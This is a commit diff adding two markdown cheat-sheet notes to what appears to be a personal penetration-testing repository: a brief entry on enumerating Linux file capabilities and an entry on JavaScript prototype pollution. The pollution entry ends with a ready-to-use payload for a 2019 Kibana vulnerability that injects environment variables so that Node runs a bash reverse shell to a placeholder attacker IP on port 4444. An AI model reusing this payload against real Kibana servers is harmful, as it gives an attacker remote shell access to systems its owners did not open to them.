added prototype pollution

exploit/linux/capabilities.md

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+# Capabilities
+
+* [HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)
+
+## Usage
+```sh
+getcap -r  / 2>/dev/null
+```

exploit/prototype_pollution.md

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+# Prototype Pollution
+
+* Overwrite built in properties, like constructor, toString of an object.
+* Any other instance inherits properties from `Object.__proto__`. toString() is inherited by all objects.
+## Usage
+* Access to prototype inside object, as an example Javascript
+```javascript
+obj.__proto__
+Object.prototype
+```
+* Create object 
+```javascript
+let obj = {}
+```
+* Create properties inside `__proto__`.
+```javascript
+obj.__proto__.isAdmin = true
+```
+
+### Start Node commands
+* Use 
+    * `require`
+    * `eval`
+
+### Kibana CVE 2019
+* Write reverse bash into variable
+```javascript
+.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
+.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
+```
+